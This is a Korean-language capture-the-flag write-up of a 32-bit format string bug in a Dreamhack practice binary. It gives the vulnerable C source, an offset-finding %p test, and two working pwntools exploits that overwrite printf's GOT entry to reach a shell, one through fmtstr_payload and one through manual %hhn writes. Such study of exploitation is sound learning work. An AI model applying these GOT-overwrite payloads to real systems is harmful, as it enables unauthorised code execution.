what is FSB
다음 문제를 풀면서 작성했다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}문제 코드는 다음과 같다.
(base) ┌──(kali㉿kali)-[~/Desktop/one day 1 pwn]
└─$ file basic_exploitation_003
basic_exploitation_003: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e2d5f4ca6087b4fcbb06378064e4e167643a1b5d, not stripped
일단 먼저 32bit에 대한 FSB이다. 이런 경우에는 일단 함수 호출 규약이 스택으로만 이루어져 있다.
이러한 FSB는 2가지 접근법이 있다.
- %n을 이용한 메모리 값 변조
- BOF를 이용한 스택 변조
이번에는 2가지 모두 심도 있게 다루어 볼것이다.
처음에 내가 작성한 풀이는 2번인 BOF를 이용한 스택 변조 이다.
여기서 볼 수 있다. 처음에는 단순히 칸을 채우고 RA를 덮어쓰는데 집중하였다. 하지만, 나중에 보니 좀더 고급진 방법을 많이 알 수 있어 이를 알아보려고 한다.
pwntools 사용한 고급 풀이
from pwn import *
#p = process('./basic_exploitation_003')
p = remote('host1.dreamhack.games','8208')
got=0x0804a010
gotshell=0x08048669
payload = fmtstr_payload(1,{got:gotshell})
pause()
p.sendline(payload)
p.interactive()다음과 같이 fmtstr_payload 을 사용해서 풀수 있다. pwntools 정말 강력하다.
fmtstr_payload ( offset , { 덮을 주소 : 덮을 값 } ) 형태인데
offset은 현재 인자가 얼만큼 띄어져 있냐를 나타낸다.
중요→ 참고로 다음과 같이
fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
4바이트 2바이트 1바이트 쓰는 걸로 정할수도 있다.
이 사이트에서 자세히 다룬다.
(base) ┌──(kali㉿kali)-[~/Desktop/one day 1 pwn]
└─$ ./basic_exploitation_003
AAAA %p %p %p %p
ECHO : AAAA 0x41414141 0x34783020 0x34313431 0x20313431
여기서는 32비트에 바로 0x41414141 이 나오므로 offset은 1이다.
%n을 이용한 풀이
#!/usr/bin/env python3
from pwn import *
fname = "./basic_exploitation_003"
p = process(fname)
#p = remote('host1.dreamhack.games', 8203)
gdb.attach(p)
e = ELF(fname)
gadget = e.symbols[b'get_shell'] #0x8 04 86 69
printf_got = e.got[b'printf']
print(hex(printf_got))
payload = p32(printf_got) + p32(printf_got+1) + b"%97c%1$hhn%29c%2$hhn"
p.send(payload)
p.interactive()이 코드에 대해서 드는 의문점 1.
왜 %97c 인가요? → p32(printf_got) + p32(printf_got+1) 때문에 각각 4바이트씩 해서 8임
따라서 8 + 97 = 0x69
왜 %29c 인가요? → 8 + 97 + 29 = 0x86
이 코드에 대해서 드는 의문점 2.
도대체 왜 p32(printf_got) + p32(printf_got+1) 얘내가 1번 인자와 2번 인자에 들어가는가?
엄청 많이 찾아봤지만 얻은 결론은 들어가게 설계가 된게 아니라
AAAA %p %p %p %p이 payload로 미리 AAAA가 인자로 들어가는지 그리고 몇번째 인자로 들어가는지 확인후 설계가 들어가는 구조이다. 즉, 미리 계산이 아니라 환경을 고려해 확인을 하고 설계를 하는 듯